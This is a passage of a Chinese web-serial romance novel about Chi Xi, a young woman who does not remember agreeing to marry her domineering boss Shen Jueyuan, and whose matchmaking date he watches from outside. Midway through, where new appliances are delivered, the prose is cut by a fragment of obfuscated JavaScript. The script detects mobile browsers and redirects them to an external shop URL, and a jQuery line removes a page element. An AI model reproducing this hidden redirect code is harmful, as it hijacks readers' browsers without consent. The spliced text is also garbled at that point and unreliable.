她的少女时代,是一本本翻看不完的财经杂志。她无法看懂那些生涩的数据与内容,随便一只股票的涨跌,她甚至需要掰着手指去数后面有多少个零。 她也会关注那些国际新闻,某位匿名慈善家给战乱儿童的捐款。她看着数不清的数字。他随手捐赠的善款,是她几辈子加起来也赚不到的。 直到她尝试着去感受他的生活,慢慢去了解他,她才真正的意识到他们之间的差距。岂止天堑。 她的暗恋就是一场令人发笑的奢望。从暗恋到放弃,池溪始终都没有将这个秘密告诉其他人。 她害怕等来‘发癔症’‘想和她父亲一样攀高枝’‘不自量力’‘喜欢别人之前为什么不先看看自己’这样的言论。 然而现在,池溪看着那张写着她和沈决远姓名的订婚请柬。他们的名字挨在一起。 她不清楚故事为什么会是这样一个走向。明明不久前,这个男人拒绝让她上自己的车,在公司将她的策划案毫不犹豫地扔进碎纸机。 他在做这些事情时,冷淡到一个眼神都不愿意给她。 “如果你一直以这个水准工作,我会考虑将你调到清洁岗。”她最后一次将策划案交给他,男人只是翻看一页就扔了回来。 他眉头微皱,眼神冰冷。 池溪与他隔着一张办公桌,他坐着,她站着。 但她仍旧有一种自己正被居高临下审视的恐惧与压抑。 她知道,沈决远并不是在针对他。他的高标准一直都公平公正的对待每一个人。 只是因为她的能力最差。 池溪自己也清楚,是因为沈伯父的劝说,所以沈决远才愿意给她一个机会,将那个策划案交给她负责。 但她连续熬了半个多月创造出来的,在沈决远看来,除了浪费几张a4纸之外,毫无价值。 而现在.... 池溪看着面前这个压抑着情绪,逼问她怎么敢忘了自己的男人。 她抿了抿唇,下意识往后退了一步:“我不知道您在说什么...是不是有什么误会?” 或许意识到自己刚才的确有些失态,男人很快恢复了往日的从容优雅,他松开抓着池溪肩膀的双手,改为去整理自己的着装。 “没有误会,你答应了我的求婚,也同意和我回北欧,这就是事情的经过。”沈决远尽量忽视她充满警惕和抗拒的眼神,将所有事情压缩成一句简短清晰的话。 但他也不免担心她的身体。 人不可能莫名其妙地丧失记忆,或许是身体出现了什么问题。 在他决定和她扌臿入式性-爱之前,为了确保她没有任何血液传播的疾病,他让家里的私人医生给她做了一次系统性的体检。她的健康没什么问题,只是有点气血不足。 但他不敢存在侥幸,毕竟人的身体是脆弱的,随时都会被一场突如其来的疾病击垮:“有哪里不舒服吗,头疼或者头晕?” 池溪还在因为他的前半句发愣。 沈决远和她求婚了?她同意了?并且他要带她回北欧,回他家? 什么时候,她怎么不知道。 她愣愣地点头,又愣愣地摇头:“不疼也不晕....” 沈决远轻轻按压她的太阳穴,声音和动作一样温和:“还是去检查一下吧,如果你不想去医院,我让医生来家里。” 这突如其来的亲密触碰让池溪瞬间变成一条狡猾的宽粉,她从他的面前离开:“不用...我没什么事情,而且....” 她低着头,始终不肯去看沈决远的眼睛。 在她看来这件事情非常诡异。对自己充满厌恶与嫌弃的人,突然举止亲昵地说你是他的未婚妻,任谁来了都会感到害怕和不知所措。 舅婆看着慌乱害怕的池溪,起身去劝沈决远:“小河胆子小,加上以前也没结过婚,可能是有点害怕,你稍微给她一些时间适应。” 沈决远的礼貌流于表面,更何况他现在没有多余的心思分给其他人。所以他并没有理会这个所谓长辈。 他仍旧在观察池溪的情绪变化。 哪怕是她眨眼的细微频率也没逃过他的眼睛。 为什么偏偏是在这种时候忘记他,忘记他的原因是什么。 如果和身体无关,那是因为什么。讨厌他?不想嫁给他? 在她看来,这场婚姻是他单方面的强迫吗。 还是说,她是被自己的强势逼成这样的。 为什么其他事情都记得,唯独他们相爱的过程忘了。 沈决远面上仍旧从容不迫,翻涌剧烈的情绪被不动声色地藏在他的平静之下:“如果你是因为害怕,没关系,我可以先推迟订婚,等你适应了我们再重新定日子。” 池溪想,他是被下降头了吗,还是被下蛊了。 又或者,是被夺舍了? 否则为什么会对她这么好。 池溪的心脏不受控地砰砰跳着。从她对沈决远一见钟情的瞬间,她就在渴望被他如此温柔体贴地对待了。 这个说话的语气,她不知道在梦里梦到多少次了。 然而真实发生时,她又开始逃避。 “呃....我想您应该....” 沈决远比她更了解她自己,她只需要一个细微的抬眼动作,他就知道她接下来想说什么。 所以他打断她的话:“既然身体不舒服,今天晚上好好休息。” 他将那块腕表重新佩戴在她的手腕上,因为手有些抖,所以佩戴的不是很顺利,“无论什么时候给我打电话,我都会接。” 所以,遇到任何事情都要优先想到他。 池溪眨眼,几乎是下意识脱口而出:“我为什么要给你打电话。” 男人低头给她佩戴腕表的动作瞬间停住。 他的指腹此时贴放在她的手腕之上,带着薄茧的粗粝感和独属于他的温热体温。 池溪从来没想过,自己会以这个视角去看沈决远。 他低着头,腰微微弯着。因为二人的身高差异太过明显。 池溪终于可以清楚地看见他宽阔的肩背。她一直认为,宽肩是最能体现男性魅力和安全感的地方。 一种视觉上的冲击力,无论是谁,你最先注意到的一定是他肩。 小时候书上总说,父爱如山,只有高度的叫做塔,足够宽厚的才叫做山。 量身裁剪的大衣和西装被撑出最完美的轮廓。她都快被他身上的男人味和性张力迷晕了。 但池溪是个胆小鬼,越是心动的瞬间,她就会更用力地推开对方。 对方保持那一个动作很长时间,时间仿佛也随之一起静止了。 他并不反驳,也不做解释。 腕表戴好后,他只微笑从容地留下一句:“我先不打扰你和你的家人团聚了。” 然后跌跌撞撞地走了出去。 随着他的离开,客厅里因为他的到来而多出的那股暖意仿佛又消失了。 池溪落座后,手腕处的触感却仍旧残留。 男人宽大的手掌,可以非常轻松地将她的手腕全部握住。那种侵略性极强的姿态,惹得池溪心脏很痒。 舅婆眼神担忧地问她:“这是怎么一回事?” 她能看出池溪的抗拒。 池溪摇头,人仿佛还处在云端之上,晕晕乎乎的。 “我..我也不知道。” 舅妈意犹未尽地往外看了一眼:“他是模特吗。” 池溪仍旧摇头:“他是爸爸朋友的儿子。” 舅妈眼睛亮了:“我就说,看他的穿着和谈吐就不像是普通人。外面那几个外国人长得也帅,是他的朋友吗?” 池溪硬着头皮回答:“应该不是.....” “也是,我看那几个人又是替他开车门又是为他撑伞的,不像是朋友。”舅妈没想到短剧剧情真的能发生在自己身边。现实比短剧更夸张。演出来的有钱人和真正意义上的有钱人是没办法相比的。 无论是气质还是那种身处高位的从容。 “不过你为什么好像很讨厌他的样子。”舅妈好奇问道。 池溪愣了一下:“有吗?” 舅妈点头:“人家碰你一下你都快直接弹开十米远了。” 无论是谁看了都会认为她讨厌对方。 甚至是嫌弃,厌恶... 舅婆沉思片刻:“小河,如果你没这方面的意思就尽快和人家说清楚。” 她其实有这方面的意思。 但她没有这个胆子。她面对自己无法应对的事情,唯一的解决办法就是逃。 并且,她自己都没弄明白这是怎么一回事。 太诡异了,沈决远对待她的态度为什么会突然产生这么大的转变。 池溪离开后,沈伯父以为这件事终于要告一段落。 说实话,他对池溪那个孩子没有偏见,她人老实,话也不多。平时让她做什么也会乖乖照做。 但作为儿媳妇,他是不满意的。 哪怕是嫁给他那个不成器的次子,他都认为缺了身份。更别提自己的长子。 然而他没想到的是,自己那个冷静理智,且傲慢无情的长子居然亲自追了过去。 家里的很多东西都老旧到不能用了,但全部更换的话又需要很大一笔钱。对于打算考研的池溪来说,她的那点存款只够交学费。 所以她打算先凑合一下,老式洗衣机虽然每次洗衣服都能从阳台抖进她的卧室,不过放一块板砖在上面就可以减少它抖动的频率。 至于冰箱... 池溪觉得这个天气,可以直接将需要冷冻的东西放在阳台。 当那辆大货车出现在她家门口时,池溪甚至没有立刻反应过来。 工人下车,将全新的家具和电器全都搬进去,只花费了不到一个小时的时间就全部安装完毕。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131993|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 池溪看着焕然一新的家,还以为自己走错了地方。 是上帝看她太可怜,所以强行给沈决远设定了一个必须爱她的指令吗? 否则她真的想不出沈决远做这些的原因。 她有自知之明,清楚地知道沈决远绝不会爱上她。 手机适时收到几条信息,隔着手机屏幕,只凭几行冰冷没有温度的文字,她似乎能够脑补出他的声音。 稳重优雅,像铺着厚重丝绒的古典钢琴。 ——我知道你暂时不想见到我。放心,这几天我不会出现。 ——缺什么可以直接和wesley讲。为你做身体检查的医生会在晚上到。 ——注意保暖。 池溪看到上面的备注。 她抿了抿唇:我不要检查身体。 男人的消息很快回复过来,很显然,他一直停留在和她的聊天界面之中,等待她的消息——听话,只是一个普通的体检而已。 她知道,沈决远是为了检查她为什么会‘忘了他’ 谁知道她会不会让人强行在她脑子里‘注入’一段记忆,让她不可救药地爱上他,然后彻底离不开他。 她完全相信这种科幻小说才会出现的事情,沈决远可以轻松做到。 足以可见在她的眼中,沈决远是一个怎样的人。 强大的人让她着迷,危险的人同样让她沉沦。 但二者同时兼具,强大又危险的上位者在她看来却是可怕的。 所以她纠结一番,还是拒绝了他:——我的身体没有任何问题,谢谢您的关心,但是...希望您不要再来打扰我的生活了。 最后那句话她打了删,删了又打,最后还是窝囊的决定交给命运来决定。她闭上眼凭借记忆去按删除键,如果按对了那就将那句话删掉。 可当她睁眼时,发现第一下就按成了发送键。 这一次等了很久才收到回复。 男人什么都没说,只是将一张戒指的设计图发给了她。 池溪看着图纸上那颗巨大的红宝石,她连假的都不敢买这么大的。 池溪将自己最近的烦恼讲给好友听,好友居然说出和那些论坛的跟贴人一样的话:“你该不会是在凡尔赛,故意借着诉苦的理由找我炫耀来了吧?” 池溪头很疼:“怎么可能!我真的很苦恼!” 虽然她不知道自己具体在苦恼一些什么。她喜欢沈决远,这点毋庸置疑,可是比起喜欢,此刻的畏惧和退缩占比更大。 她害怕沈决远来找她,害怕看到他,害怕他再像上一次那样,温柔地抚摸她的手腕。 那种感觉让她又开始频繁梦到他.... 噩梦与春梦交织,她都快被折磨的疯掉了。 好友拿出手机,点开相册里的照片让她看:“你就知足吧,突然冒出这么一个有钱有颜的大帅哥说要和你结婚。你看下我的相亲对象,我还以为哥布林穿越了。” 池溪看了一眼,除了没有绿皮肤之外,的确哥布林。 她最讨厌哥布林了,看的那些漫画里,美丽的女主总是会配一个奇丑无比的哥布林。 不过好友的话提醒了她。 她前几天答应了舅舅和那个老师相亲,见面的日期就在明天。 好友说:“如果这次相亲结果好的话,不就可以顺理成章的和那个人划清关系了?那种阶层的大人物应该对做小三没兴趣。” 后半句她说的阴阳怪气。 池溪点了点头,觉得她说的话也有道理。 但只要想到要和沈决远之外的其他人结婚,她就... 好烦,她也不知道自己在想什么。 她喜欢沈决远,可是沈决远一旦靠近她,她又会想要立刻逃开。 她知道,沈决远不可能真的喜欢她。 除非是精神分裂,否则不会有人前一天还对你厌恶至极,次日就缠着你要和你结婚。 池溪喝了口咖啡,突然感觉嘴巴怪怪的。 她轻轻哼了一声。 听到这个暧昧的动静,好友古怪地看了她一眼:“你怎么了?” 她的脸顿时红了:“我也...不知道。好像被咖啡亲了一下。” 她甚至还晃了晃杯子,似乎想要找出藏在里面的仿真舌头。难道是这间店的特色? “...”好友无奈地摇头,她发现她去了一趟大城市之后,各方面都变得奇怪了。 池溪的脸还是红的,她伸手摸了摸自己的嘴唇。 真的是错觉吗。 好真实的错觉。那是一张柔软冰冷,陌生性感的唇。 她甚至可以闻到一股不属于这间咖啡店里的香味。 很淡,微苦,雪松林木一般的清冽与沉敛。 那股让人上瘾的迦南沉木香。她只在一个人身上闻到过。 但是从今早开始,她总能闻到这股清冷的淡香。 难道是夜有所思日有所梦? “嘶,好疼!”她没忍住,叫出了声。 好友不耐烦道:“又怎么了?” 她不好意思地摸着嘴唇:“没..没什么。” 那个温柔的亲吻结束后,像是发泄一般,她感觉有牙齿正在啃咬着她的嘴唇。 很用力。 也很疼。 29.第二十九章 这种错觉最近常有发生。 池溪不知道自己是不是夜有所梦日有所思。那种只属于沈决远的特殊香味,她无时无刻都能闻到。 她甚至怀疑,这是沈决远上次落下的大衣上的气息。 她都快要疯掉了,本来打算远离他过好自己的人生,但这样下去,她不仅忘不掉他,反而更加在意。 早上睡醒,她神智模糊地用头蹭了蹭枕头,手臂下意识地伸出去,似乎想要抱住什么。 当她的手臂扑了个空时,她才慢慢清醒过来。 她坐起身,望着空空荡荡的床发了一会儿呆。 她刚才是又做梦了吗? 可是那种感觉真的无比真实,尤其是在半梦半醒的时候。她觉得自己被人抱着,而她躺在那个柔软结实的怀里..... 脸埋着的地方,是比枕头更加舒适的部位。 那种软硬适中的陷入感,居然让她在清醒之后产生了一种失落的不舍。 又是做梦吗。 最近做梦的频率好像更高了。 池溪回来这些天没有联系过父亲,她以为对方得知她回老家的消息会主动联系她。 但是没有。 甚至连以往一个月固定三次的通话都没了。 不过也是,人家现在家庭美满,联系她做什么。估计在听到她离开北城后,松了好长一口气。 - 池溪如约去见了那个相亲对象。 本人比照片上更加端正一些,短发梳的很整齐,戴着一副银色眼镜,镜片有点厚。 或许是担心她嫌弃自己的视力度数,男人急忙解释:“我的近视度数虽然有八百度,但我是后天近视,不会有很大概率影响后代。” 呃..第一次见面就聊这个会不会有点太快了。 池溪笑着点了点头。 她简短地做了自我介绍,对方得知她有继续读书的打算,顿了顿:“那你以后是想留在本市读研吗?” 池溪摇头:“我也不确定,毕竟以我现在的成绩留在本市很吃力。” 那个人若有所思地低嗯一声,菜刚好在这时端了上来。 男人起身替她倒了杯热水,坐下时,视线在窗外停了几秒。 他最先注意到的是站在车旁抽烟的男人,实在是对方的存在过于显眼,极高的身量和匀称结实的肌肉线条,哪怕被优雅高贵的西装一丝不苟的遮住,可身形轮廓仍旧清晰。 第二眼他注意到的是旁边那辆车。 定制款布加迪。 无论是人还是车,明显与这里格格不入。 所以他不由得多看了几眼。 池溪没有注意到他的反常,她心里在思考该和他说些什么。 事实上,对方不是她喜欢的类型。 他看上去是那种会在她说肚子疼的时候会说出一句‘别疼’,会在她说好饿的时候说出一句‘我也好饿’,会在她遇到不知道该怎么解决的事情时,反问她‘怎么办’的人。 这并不是池溪的偏见,他们开车过来时对方不小心撞坏路障,全程慌乱地看着池溪问:“怎么办?” 池溪说走保险吧,他眉头紧皱,告诉池溪自己这车刚买,还没来得及上保险。 最后只能打电话给交警。虽然电话是他打的,但他全程都很紧张地看着池溪。 弄得池溪也变得非常紧张,好像这车是他们俩刚偷来的一样。 想到这里,坐在男人对面的池溪叹了口气。 菜上齐后,男人陆续抛出相亲时老生常态的几个问题。 你想要多少彩礼。你可以给多少陪嫁。近期有结婚的想法吗。婚后希望生几个孩子。 池溪其实觉得现在聊这些太早了,但既然对方问了,她也不好不答。 听完她的回答后,男人点了点头。池溪不知道他是满意自己的回答还是不满意。 但对方殷勤不减,甚至主动起身给她夹菜。 池溪有些不适应,出于礼貌还是主动端起碗,去接对方夹的那块红烧肉。 对方的视线再次落向她身后的玻璃窗,不知看到些什么,喉结咽了咽,整个人显得有些局促,最后胡乱地将红烧肉放进她的碗中重新落座。 “呃...”他喝了几口水压惊。 他总是频繁地往窗外看,池溪不知道他怎么了,也懒得问,纯当没看见。 “其实你的长相是我很喜欢的类型。” 这突如其来的夸赞让池溪有些不好意思。她悻悻地和他道谢。 “池小姐的追求者...应该很多吧。”他试探地询问,“因为你长得真的很漂亮。” 从小到大她听过最多的赞美大概就是‘漂亮’这个词了。但围绕这个优点在她身上扩充的词语让她觉得刺耳。 ‘胸大无脑’‘草包’‘花瓶’‘上帝在创造她的时候天赋全点在外形上了’ 以至于到了后来,池溪每次听到别人夸她漂亮都不知道该不该道谢。 她生怕紧随其后的是一句‘但是’ 所以她紧张地等待着。 “池叔叔将你的照片拿给我看时,我第一反应就是惊讶,因为我很难相信长得这么漂亮的女孩子会是单身。”池溪发现他和自己说话时,视线仍旧频频看向窗外。他的眼神略显复杂,很显然,他的确是那种一直在读书,没有经历什么风浪,也没什么阅历的人。 因为他的情绪全都表现在了脸上,这让他看上去更加局促,他眼中分明是自卑。 “池叔叔和我保证,说你一直都是单身,并且身边没有其他异性,所以我才会......” 池溪越听越不对劲。 直到他开口:“但是.....” 果然还是等来了这个‘但是’ 他抿唇,一副快要哭出来的委屈,略显厚重的镜片下方,那双眼睛微微泛红,“我认为相亲应该坦诚相待,你的确是我喜欢的类型。但既然你已经有了正在交往的对象,为什么还要隐瞒呢?如果你是想要应付你的家里,你也应该提前和我说...” “什么?”池溪听的一头雾水。 见她在装傻,男人从气哭变成气笑,他也不打算给池溪留脸面了。 他站起身,伸手指着她身后的玻璃窗:“从我们进到这家餐厅起,你男朋友就一直站在外面看着我们。他是不放心你还是不放心我?怕我对你动手动脚,还是怕你变心移情别恋?” 对方显然也是一个老实人,这回属实是把老实人也逼急了。如果是势均力敌的对手他反倒不会这样,甚至还会生出一些胜负欲。 但是.... 此刻的他觉得自己像是被戏耍的猴和小丑。 那种自卑的屈辱让他情绪激动。 既然有了这种各方面都是顶配级别的男朋友了,就绝不可能会看上他。 池溪挪动椅子转身,餐厅后面是街区,由于还没有商户入驻,所以那个地方安静空旷。只有昏黄的路灯,像复古滤镜,让一切都笼罩在一层模糊质感之中。 停在路边的黑色布加迪,车身锋利流畅,像一尊钢铁巨兽。 在冰冷的夜色中带着和他主人类似的强悍压迫感。 男人只是站在一旁默默抽着烟,他不知在那里站了多久,那只雪茄竟然抽了三分之二。 池溪仿佛能够闻到那股陈年雪松的醇厚和烤坚果的焦香。 来自他抽的那支雪茄的香味。 池溪顿时明白了他的坐立难安和脸上的自卑情绪从何而来。 “那个......”她有些慌乱,此刻终于体会到了那种小说女主的有口难言,“你听我解释,我和他不是你想的那种关系。” 虽然相亲结束之后二人大概率不会有后续,但池溪还是不希望对方误会。 “那你们是什么关系,对方对你穷追不舍?他怎么可能.....”对方上下看了她一眼,池溪感受到他为人师长的教养他憋回去很多不好听的话,最后只留下一句,“我会告诉池叔叔我们不合适。” 看着对方遭受屈辱离开的背影,池溪相信他不是因为被她伤害所以感到屈辱。 他是因为沈决远的存在才会感到屈辱。 他甚至没有对方比较的资格。 定制款的布加迪,落地价两千万美元,哪怕是一个车轮的价值都在十五万美元。 这种时候他甚至希望自己没有那么爱车,平时也没有逛那么多与车相关的论坛,否则也不可能知晓的这么清楚。 对方甚至一句话都没有说,就足够让他感受到那种被无视的屈辱。 池溪看着男人离开的背影。 这原本是舅舅的一番好意,她不仅搞砸了一切,反而还伤害了和她相亲的男人。 服务员拿着账单过来,池溪扫码付完款。这顿饭她没想过要找他aa。毕竟这个结局是她造成的。 虽然她也很无辜。 她穿上外套,拿起放在椅子上的托特包,起身往外面走。 夜晚很冷,风有点大。 池溪走进由昏暗灯光渲染的复古滤镜中,和沈决远站在一个取景框中。 池溪刚出来就感受到了冷。难以想象,他在外面站了这么久,他有多冷。 不过对方似乎一点也不在意温度。因为在她出来后,他立刻脱下自己身上的大衣,动作自然地搭在她的肩上。 “去车上吧,外面冷。”声音温和,带着关心。 池溪抿了抿唇,站着没动。 替她开副驾驶车门的男人见状,停下动作:“有话要和我说?” 池溪深呼一口气,将他的外套还给他:“谢谢你的好意,但我不冷。” 他无动于衷地看着她,没有伸手去接。 怎么可能不冷,手腕都冻出鸡皮疙瘩了。 他不接,池溪就一直这么举着,似乎在比谁先妥协。 先妥协的显然是沈决远,但他将大衣接过来后,又重新替她穿在身上:“无论是生气也好,难过也好,都不要建立在伤害自己身体的基础上。” 这番温和的关心,如果在平时,的确会让池溪受宠若惊。 但是现在,她无法去形容自己的情绪。她不知道他究竟要做什么。 因为有权有势,所以就可以随意玩弄欺辱他们这些普通人吗? 明明不久前还对她充满厌恶与嫌弃,就连不小心被她碰到的外套也要让佣人拿去扔掉。 现在又突然自称她的未婚夫。 连她相亲他都要过来监视。 所以,他是觉得他随手施舍的喜欢她就必须得接受吗? 她是他的宠物吗,他可以厌恶,但不允许被别人抢走? 池溪此刻有股农民工起义的决绝,去死吧外国人。 她强忍着眼泪,终于理解了相亲对象刚才为什么会生气。 沈决远这种上位者的气场,似乎在无时无刻告诉他们,自己在他面前有多渺小,像一只被他随意玩弄甚至踩死的蚂蚁。 “对我有恩的是沈伯父,不是你。是他收留我住在沈家,虽然是你让我进的公司...但这也是沈伯父找你求得情,你并不愿意不是吗。”她第一次这么有勇气,穿着他的外套,头抬得高高的,和他对视。 像一头莽撞又胆小的小牛。 “我不是你的玩具,所以请你......不要再来玩弄我了。” “玩弄?”沈决远锋利高挺的眉骨被夜色渲染出柔和轮廓,“所以你是觉得,我在零下五度的天气出现在这里,是为了玩弄你们?” “不然呢。”她脱口而出,“难道是因为喜欢我吗?” 他轻声反问:“为什么不能是因为喜欢你。” 为什么不能是因为喜欢她?当然是因为她知道,沈决远不可能喜欢自己。 能让一个喜怒不显的人,如此明显得表达自己的厌恶。就连沈司桥都夸她:“某种意义上,你在我哥眼中的确很独特。你是第一个做到这点的。” 池溪当时非常难过。 沈司桥这个贱男人总是能精准戳中她的痛处。还好他被送出国了。 嗯...虽然她好像不记得他是因为什么被送出国的。 “你不要觉得我好骗....也不要觉得我喜欢你。”池溪咬着牙战战兢兢地嘴硬。 沈决远走向她,淡声逼问:“你难道你不喜欢我吗。” 她不敢看他,心虚地反驳:“我当然....不喜欢。” 沈决远轻笑:“把你房间里我的照片和私人用品扔掉再来说这些话,或许可信度会高一点。” 池溪愣住了。 他怎么知道.... 她的确有偷偷收集他的照片和私人用品,当然,她绝对不是变态。 只是佣人每次在整理完他的房间后,池溪看着那些得了他授意拿去扔掉的东西,从小被教育的节约美德让她认为就这么扔掉的话太浪费了。 所以她总是会主动提起帮忙,然后从佣人的怀中接过那些东西,再偷偷拿回自己的房间。 沈决远非常完美主义,任何东西一旦有破损迹象他就会让人扔掉。 这和池溪的理念完全相悖。 譬如这枚袖扣,它只是表面被划出一道浅痕。还有这支钢笔,笔端稍微有些弯曲,完全不影响写字。以及这条领带...它甚至是全新的。池溪想不通沈决远扔掉它的原因。 颜色不喜欢? 可是暗红色很适合他。 像中世纪典雅绅士的吸血鬼,危险神秘,又有种嗜血的性感。 池溪的呼吸逐渐变得沉重起来,她没想到沈决远会知道这些。或许他早就知道。 人在自卑的时候就会变得非常无礼。 尤其是在经历刚才的事情之后,这更加让池溪认为沈决远是在玩弄她。 既然什么都知道,为什么还要装作一无所知..... 他果然和沈司桥一样令人讨厌。 池溪讨厌他永远都是一副从容优雅的模样,把别人弄得狼狈不堪,他却仍旧一副高高在上的傲慢姿态。 情绪就是闸口,经年累月的堆积在那里,一旦开闸,就会一发不可收拾,尤其是她这种窝囊的老实人。 沈决远察觉到她情绪开始激动起来,想先将她安抚好。 她却毫不犹豫地拍开了他的手:“我真的...非常讨厌你...讨厌你的傲慢,讨厌你的冷漠,讨厌你..一言不发就来破坏我的相亲。” 她不敢继续说下去了,她怕继续往下说,会将自己两岁那年尿床的罪都强行怪罪到他头上。 为了防止她的情绪变得更加激动,沈决远没有反驳她,而是顺着她的话道歉:“我会尽快改掉这些性格上的缺陷。” 他想要抱她:“小河,至于你相亲的事情,我......” 她向后退一步,避开了他伸出来的手:“你不要叫我的小名,只有我最亲近的人才会这么叫我。” 她眼底的抗拒和厌恶让沈决远的思维变得迟缓。 他微微皱眉:“什么?” 以为他没听清,池溪重复一遍:“小河这个称呼只有我最亲近的人才可以喊。” 他的优雅不在,但仍旧是冷静的。 只是不顾她的反对过来抱她:“你在说什么,我和你还不够亲近吗?小河,你听话,我让医生为你做一个全身检查。” 她想推开他,却被抱得更紧。她的脸隔着冰冷的西装外套与衬衫,被迫陷进他壮硕的胸肌里。他抱得很紧,她觉得自己快被闷得喘不过气了。 但沈决远的动作和他的声音一样温和,他轻声安抚她:“不用害怕,我拥有最顶级的医疗资源。就算真的生病了,也会很快痊愈的。” “唔唔唔唔唔..” 她要说的话全被阻隔在这个唔唔唔之中。她埋在他的胸口,根本说不出完整的话。 但沈决远听懂了。 她说的是——我没有生病。 无论她在何种情况下,将话说得再含糊不清,他都能听懂 好比她在被他淦到受不了时,哭着求他停一停,先停一停。 他能听懂。 但他会装听不懂。 好比此刻,他听懂了,也装作没听懂。 如果说之前只是猜测,那么现在是彻底确认。她一定是生病了。 就算没生病,那也是出了什么意外。 否则怎么可能无缘无故丢失一段记忆,怎么可能将对他的爱忘得一干二净。 沈决远一直都很担心她的身体。 比起她忘记自己,他更加担心的是她的身体。 “这个地方的医疗环境还是太差了,我后天带你回北欧治疗。你不是很喜欢极光吗,上次看你电脑的壁纸是挪威的极光。”他低头亲吻她的额头,声音温和,“你有一天的时间收拾东西。当然,我也可以安排人来帮你。我知道你喜欢粉色,所以提前让人给你布置了一个粉色的房间。” 池溪不知道自己为什么会突然胆子这么大。 她在面对沈决远时,会比平时更加窝囊。如果沈决远让她下跪,或许她也不敢拒绝。 可是现在,她不知道自己的胆子怎么会变得这么大。 好像是潜意识里有一道陌生的意识在告诉她,无论她怎么做,沈决远都不会真的对她做什么。她不清楚自己为什么会多出这种底气。 明明她最怕的就是沈决远,因为在她认识的所有人当中,最危险也最可能让她受伤的就是沈决远。可偏偏,她最有底气撒野的也是他。 为什么会这样呢。池溪不明白。 想不明白她干脆就不想了,她现在唯一想做的就是从他的怀抱离开,即使这个怀抱让她感到向往。 二人力量悬殊,她完全推不动。只能张嘴咬在上面。 她非常用力,像小狗一样。甚至感觉牙齿穿透了高级精纺纯羊毛的西装和衬衫,咬住柔软结实的肌肉。 她用力到身体开始颤抖,似乎想要咬疼他,让他主动放开自己。 她甚至能够感受到鲜血的血腥味。 都这种时候了,她想的居然是他身上好香。 他的怀抱怎么能这么温暖,虽然他让人恐惧和害怕,可为什么在他身边会有一种无与伦比的充实与安全感呢。 男人只是温柔抚摸她的发顶,原来被宽厚手掌摸头是这种感觉。 她的心脏不受自己控制的悸动。 他还没感知到疼痛,她反而先开始心疼。 还是不忍心真的咬疼他... 池溪松开嘴,面前那块西装布料被她的口水打湿,上面还有一个清晰可见的牙印。 “虽然不知道你为什么要这么做..但我没有生病也没有出任何意外,或许生病的人是你...你还是先给自己做个全身体检吧,你好像..比别人多了一段记忆。” 她磕磕绊绊地说。 池溪其实早就怂了,她不知道自己为什么突然这么有勇气,居然敢反驳沈决远。 但她的确是憋了一肚子火,再窝囊的人也有一怒之下怒了一下的时候。 难道窝囊的人就该被按着欺负吗。 他是她的上司,不是她的上帝。 男人安静了很长时间。 “所以你现在为了其他男人,冲我发脾气?”至少在这个瞬间,他还能够保持他的优雅与绅士风度。低沉性感的声音里带着淡淡笑意。 如果真的像他说的那样,自己是他的未婚妻,那么池溪觉得他无论是生气还是愤怒都情有可原。 毕竟自己的未婚妻跑去和其他男人相亲,还为了对方与自己发生争吵。换了谁都会生气。更何况是沈决远。 池溪一直都觉得沈决远的占有欲很强,否则为什么他连自己的书房都不让人随意进去。 可她根本就不是,所以:“的确是...我不知道你为什么要这样,你打听到我今天在这里相亲然后跟过去,就是为了破坏它,对吗?你故意站在外面,像一个抓奸的丈夫....” 她咽了咽口水,强迫自己直视他,“是你之前说的,你的未婚妻不可能是私生女,还有...你觉得廉价的香水是我最喜欢的。你不要觉得自己有权有势就可以随意贬低别人。我没有贪图过你的钱,就算是在公司,我也是认真工作,对得起你发给我的工资。” 沈决远不再说话,他只是看着她,绅士地等她将话说完。 池溪深呼吸,再次鼓起勇气:“你是不是觉得,对于我这种穷苦的底层人士来说,你随口说的一句‘未婚妻’就能让我感恩戴德,受宠若惊?你出现在我的相亲现场,你考虑过他的感受吗?” “那你呢,考虑过我的感受吗?”他不容易违背的权威在此刻被放大。 她说了那么多,他没有打断,也没有回应。而是在她说出最后一句话,声音低沉地逼问。 池溪停住了。 她为什么要考虑他的感受? 她不安地抿唇,她不知道是不是自己的错觉,她总觉得沈决远的情绪开始变得低迷。 他是一个城府和心思重到喜怒完全不显的人,加上池溪在某些方面蠢笨迟钝,所以她永远无法感知到他的情绪。 但是现在,不知道是这份难过被放大了,还是他故意让她发现。 “你从刚才开始就一直在追究我的责任,那我呢。”他眼神低沉,逼近了她,“我应该追究你的责任吗?” 池溪再次感受到宽阔饱满的胸膛停在自己面前。她咽了咽口水,不知道是紧张还是因为其他原因。 “我......你为什么追究我的责任?”她结结巴巴的说。 沈决远的手放在她的脖子上,他没有用力,池溪却感受到他手掌宽厚与有力。现在的他只要稍微用点力气,就可以将她在这条偏僻的街道掐死。 她无法呼救,也没人能来救她。甚至很有可能第二天她的尸体才会被发现。 可是沈决远并没有这么做,他只是温柔地拿掉了掉在她衣领中的落叶。 “热恋期断崖式被分手。虽然很想见你,但考虑到你的情绪和身体,我愿意空出足够的时间让你冷静。你却在我忍耐思念的时间和其他男人相亲。”他弯下腰,和她视线保持在同一水平面,近距离看她。也因此,他的沉声逼问才会显得如此具有压迫感,“我难道不应该追究你的责任吗?每天幻想着和我做嗳的是你,私藏我私人物品的是你,在电脑里存着我偷拍照的,还是你。” “我.....没有,我没有私藏你的私人物品和偷拍照,而且不是我拍的....” 那根本不是什么偷拍照,那是..... 沈决远打断她的狡辩:“你说,现在是谁更应该追究谁的责任?” “我不......” “你知道背叛我的人,都是什么下场吗?” 池溪愣住了。沈决远轻描淡写的一句话就轻松震慑到了她。 她站在那里,早就没了刚才的勇气,瞳孔因为害怕而放大瞬缩。 沈决远敏锐地捕捉到了她的害怕,心脏猛地刺痛。 他眼角轻微抽动,然后站直身体离开了她。制造压迫感的本体虽然远离了,池溪仍旧被束缚地站在原地。 她看到男人单手撑着一旁的黑车,似乎只有这样才能让自己摇摇欲坠身体站稳。 另一只手则去按太阳穴保持冷静。 他的确变得不冷静了,为什么 